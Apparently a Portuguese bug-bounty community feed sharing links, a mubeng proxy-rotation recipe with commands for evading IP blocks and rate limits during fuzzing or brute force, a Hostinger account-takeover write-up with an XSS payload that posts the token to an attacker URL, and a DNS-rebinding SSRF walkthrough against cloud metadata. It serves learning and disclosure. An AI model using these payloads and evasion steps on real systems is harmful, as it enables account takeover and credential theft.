👾 Tópico aleatório
Qual foi o último Github que visitou / clonou OU a última ferramenta que executo OU o último artigo que leu OU o último vídeo de cibersec que assistiu?
Qual foi o último Github que visitou / clonou OU a última ferramenta que executo OU o último artigo que leu OU o último vídeo de cibersec que assistiu?
Vai ocorrer dia 08 desse mês (terça-feira)
19hs-20hs (1 hora de duração)
Link do evento: https://www.linkedin.com/events/fiapmeetup-ciberseguran-aautomo7346254640864288768
Link post original: https://www.linkedin.com/posts/augusto-zanotti-998161248_cybersecurity-ciberseguranaexaautomotiva-activity-7346487995698405377-ic5c
Curtiu? Vai participar? Quer ver a opinião da galera? Comenta nesse post =)
O entrevistado é o cangaceiro, uma pessoa muito gente boa, de fácil acesso mesmo e que tem experiência em bugbounty.
Fora isso o próprio canal (DevSecOps Podcast) é muito bom e eu volta e meia vejo vídeos deles, pois tende para o lado mais da galera de DEV e eu sempre quero ficar ouvindo o que essa galera tá pensando (pra gente ver onde eles tão olhando, o que estão estudando e principalmente: o que não estão vendo -> para que possamos achar com + facilidade vulnerabilidade nas aplicações)
Link pro vídeo -> https://www.youtube.com/watch?si=iCY0nwwoVRhEoing&v=Lw6oYGk_mFU&feature=youtu.be
Assistam por mim. Quando eu estiver em casa com certeza vou ver.
Esse cara é muito bom tecnicamente
https://youtu.be/DX98GmHahwA
Mais info: https://www.bleepingcomputer.com/news/security/atandt-rolls-out-wireless-lock-feature-to-block-sim-swap-attacks/amp/
Precisa contornar um bloqueio de Ip / rate limiting pra fazer aquele fuzzing / brute force e não quer usar o lambda da AWS pra não gastar grana, nem proxychains que pode ser muito lento e instável?
Quer fazer uma rotação de Ip de graça?
Baixa uma lista de proxies recentes e válidos:
Execute o mubeng (link do repositório pra instalação ao final:
pronto, agora pode redirecionar todo trafego das tuas ferramentas pro http://127.0.0.1:8081 que ele vai se encarregar de distribuir as requisições entre todos os proxies carregados, independente do método HTTP, (post, get, options, delete, etc).
Além disso, assim que um proxy falhar o mubeng vai remover ele da pool de proxies disponiveis. Ah outra coisa, a flag -r fala quantas requisicoes aquele proxy pode fazer uma vez que ele for escolhido aleatoriamente. Eu nao setei nada por que por default é zero o valor, então cada requisição sairá de um novo IP.
Até a próxima
https://github.com/mubeng/mubeng
Quer fazer uma rotação de Ip de graça?
Baixa uma lista de proxies recentes e válidos:
curl -sf 'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/http.txt' | sed 's#^#http://#g' > http_proxies.txt
Execute o mubeng (link do repositório pra instalação ao final:
mubeng -f http_proxies.txt --remove-on-error -a :8081 -w
pronto, agora pode redirecionar todo trafego das tuas ferramentas pro http://127.0.0.1:8081 que ele vai se encarregar de distribuir as requisições entre todos os proxies carregados, independente do método HTTP, (post, get, options, delete, etc).
ffuf -u http://examplo.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8081
Além disso, assim que um proxy falhar o mubeng vai remover ele da pool de proxies disponiveis. Ah outra coisa, a flag -r fala quantas requisicoes aquele proxy pode fazer uma vez que ele for escolhido aleatoriamente. Eu nao setei nada por que por default é zero o valor, então cada requisição sairá de um novo IP.
Até a próxima
https://github.com/mubeng/mubeng
GitHub
GitHub - mubeng/mubeng: An incredibly fast proxy checker & IP rotator with ease.
An incredibly fast proxy checker & IP rotator with ease. - mubeng/mubeng
A escalada de impacto de uma vulnerabilidade pode ser demonstrada pelo caso de Account Takeover na Hostinger. A exploração encadeou duas falhas distintas:
* Um Reflected XSS em um subdomínio de baixo impacto e FORA do escopo: marketing.hostinger.com.
* Uma Validação de Redirecionamento Imprópria no sistema de autenticação (auth.hostinger.com), que permitia redirecionar para o subdomínio vulnerável por ele estar em uma whitelist.
O ataque consistiu em criar uma URL para o sistema de autenticação que, após o login da vítima, a redirecionava para a página com o XSS. O próprio sistema de login anexava o auth_token da sessão do usuário à URL de redirecionamento.
Ao carregar a página, o payload do XSS era executado para exfiltrar o token:
O script envia a URL completa (window.location), que agora continha o token, para um servidor controlado pelo atacante. A posse deste token permitia o controle total da conta da vítima (ATO).
Dessa forma, um XSS de baixo risco foi transformado em uma vulnerabilidade crítica através de uma cadeia de exploração.
Link para o relatório: https://hackerone.com/reports/3081691
* Um Reflected XSS em um subdomínio de baixo impacto e FORA do escopo: marketing.hostinger.com.
* Uma Validação de Redirecionamento Imprópria no sistema de autenticação (auth.hostinger.com), que permitia redirecionar para o subdomínio vulnerável por ele estar em uma whitelist.
O ataque consistiu em criar uma URL para o sistema de autenticação que, após o login da vítima, a redirecionava para a página com o XSS. O próprio sistema de login anexava o auth_token da sessão do usuário à URL de redirecionamento.
Ao carregar a página, o payload do XSS era executado para exfiltrar o token:
<script>fetch('URL_DO_ATACANTE', {method: 'POST', body: window.location});</script>
O script envia a URL completa (window.location), que agora continha o token, para um servidor controlado pelo atacante. A posse deste token permitia o controle total da conta da vítima (ATO).
Dessa forma, um XSS de baixo risco foi transformado em uma vulnerabilidade crítica através de uma cadeia de exploração.
Link para o relatório: https://hackerone.com/reports/3081691
O massa é a linha de raciocínio usada a cada novo obstáculo. A paciência de ler documentações. A descoberta de como tecnologias terceiras funcionam naquela integração. As correções não efetivas aplicadas pelo time. Sempre que tiver um regex, abra mais ainda os olhos
Boa leitura 🎅
https://slcyber.io/assetnote-security-research-center/how-we-got-persistent-xss-on-every-aem-cloud-site-thrice/
Tomei uma decisão hoje e resolvi investir e comprar ele. Deu 300 e poucos o PDF (acesso prévio) + versão impressa
Eu já li uma parte de um capítulo e é nítida a diferença quando um real pesquisador de segurança fala de segurança. As vezes em uma página já te da um insight pra pesquisar coisas por 1 dia inteiro.
Artigo para ler depois ++
https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/
O artigo é crucial, pois expõe "footguns" específicas e exploráveis nos parsers Go, detalhando como payloads (ex: com case variado, chaves duplicadas, formatos mistos) podem levar a bypass de segurança. Aprofunde-se no artigo para exemplos de código, explorações e a tabela de comportamentos dos parsers.
(Valeu Teles pela indicação)
https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/
O artigo é crucial, pois expõe "footguns" específicas e exploráveis nos parsers Go, detalhando como payloads (ex: com case variado, chaves duplicadas, formatos mistos) podem levar a bypass de segurança. Aprofunde-se no artigo para exemplos de código, explorações e a tabela de comportamentos dos parsers.
(Valeu Teles pela indicação)
The Trail of Bits Blog
Unexpected security footguns in Go's parsers
File parsers in Go contain unexpected behaviors that can lead to serious security vulnerabilities. This post examines how JSON, XML, and YAML parsers in Go handle edge cases in ways that have repeatedly resulted in high-impact security issues in production…
O podcast Critical Thinking acabou de lançar esse episódio:
New Research in Blind SSRF and Self-XSS, and How to Architect Source-code Review AI Bots (Ep. 128)
Onde citam a pesquisa do Shubs, que compartilhei aqui.
Tô dizendo, estar nesse grupo é só conteúdo bom pra ti hahaha. tmj
https://www.youtube.com/watch?v=jPN2GE-umJY
New Research in Blind SSRF and Self-XSS, and How to Architect Source-code Review AI Bots (Ep. 128)
Onde citam a pesquisa do Shubs, que compartilhei aqui.
Tô dizendo, estar nesse grupo é só conteúdo bom pra ti hahaha. tmj
https://www.youtube.com/watch?v=jPN2GE-umJY
Ah, e se esse grupo te ajuda, considere me pagar um café 😁☕
https://ko-fi.com/zeroc00i
https://ko-fi.com/zeroc00i
Ko-fi
Buy zeroc00i a Coffee
Become a supporter of zeroc00i today!
Galera, num artigo anterior, detalhei como a técnica de DNS Rebinding é empregada para explorar vulnerabilidades do tipo TOCTOU (Time-of-Check Time-of-Use), subvertendo validações em cenários de Server-Side Request Forgery (SSRF). Fica o link ao final para consulta.
Em um contexto prático: considere uma aplicação com uma funcionalidade de coleta de imagens externas, acessível via um parâmetro como ?url=http://siteexterno.com/imagem.png. Essa funcionalidade foi projetada para interagir com IPs externos.
Qualquer tentativa de fornecer um hostname que resolva diretamente para IPs internos (e.g., 127.0.0.1) ou para o serviço de metadados da instância cloud (e.g., 169.254.169.254) é explicitamente bloqueada pela aplicação, que retorna uma mensagem indicando que domínios resolvendo para tais IPs não são permitidos.
Nesse ponto, o DNS Rebinding se apresenta como uma técnica viável.
O objetivo é induzir a aplicação a, na etapa de check, validar um hostname que resolva para um IP externo permitido (conforme o design da funcionalidade). Subsequentemente, na etapa de use (TOU, que é quando a aplicação efetivamente tenta buscar a imagem), o mesmo hostname deve resolver para o IP do serviço de metadados (169.254.169.254), permitindo a exfiltração de dados sensíveis.
A execução envolve:
Configuração do Domínio Controlado:
Utiliza-se um domínio sob nosso controle (e.g., rebind-target.com) com um servidor DNS configurado para respostas dinâmicas e com um TTL (Time-To-Live) exíguo (e.g., 1 segundo).
Fase de Verificação (Time-of-Check):
Na consulta DNS inicial para rebind-target.com pela aplicação alvo (durante a validação da URL da imagem), nosso servidor DNS responde com um IP externamente roteável (e.g., 8.8.8.8). A aplicação, verificando que este é um IP externo, considera o domínio válido para prosseguir com a coleta da imagem.
Fase de Rebinding e Uso (Time-of-Use):
Imediatamente após a primeira resolução ser atendida, o servidor DNS sob nosso controle altera o registro A/AAAA de rebind-target.com para o IP do serviço de metadados (169.254.169.254). Quando a aplicação procede para estabelecer a conexão HTTP para buscar a "imagem", o TTL baixo provavelmente forçará uma nova consulta DNS, ou o cache local do resolver já terá expirado. Esta nova consulta retornará o IP 169.254.169.254.
Dessa forma, a aplicação estabelece uma conexão com o serviço de metadados, sob a premissa de estar interagindo com um host externo para buscar uma imagem.
Como resultado, os dados retornados pelo serviço de metadados, como um access_token da instância cloud, são exfiltrados e podem ser apresentados na resposta da aplicação que originalmente esperava o conteúdo de uma imagem, efetivamente comprometendo a segurança da instância.
O artigo original aprofunda com cenários de exploração e o impacto real.
Artigo: https://medium.com/@bminossi/dns-rebinding-um-caso-de-race-condition-f0360d94a828
